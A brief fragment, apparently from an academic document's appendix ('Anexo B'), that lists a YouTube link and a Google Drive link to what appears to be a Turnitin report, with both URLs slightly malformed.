https://youtu.be/ippi8x6x 5U

Anexo B
Turnitin

https://drive.google.com/file/d/1J1Z6hUI-Q9-7txa-QZ0ix5Z0OR{5xnF87/view?usp=sharing
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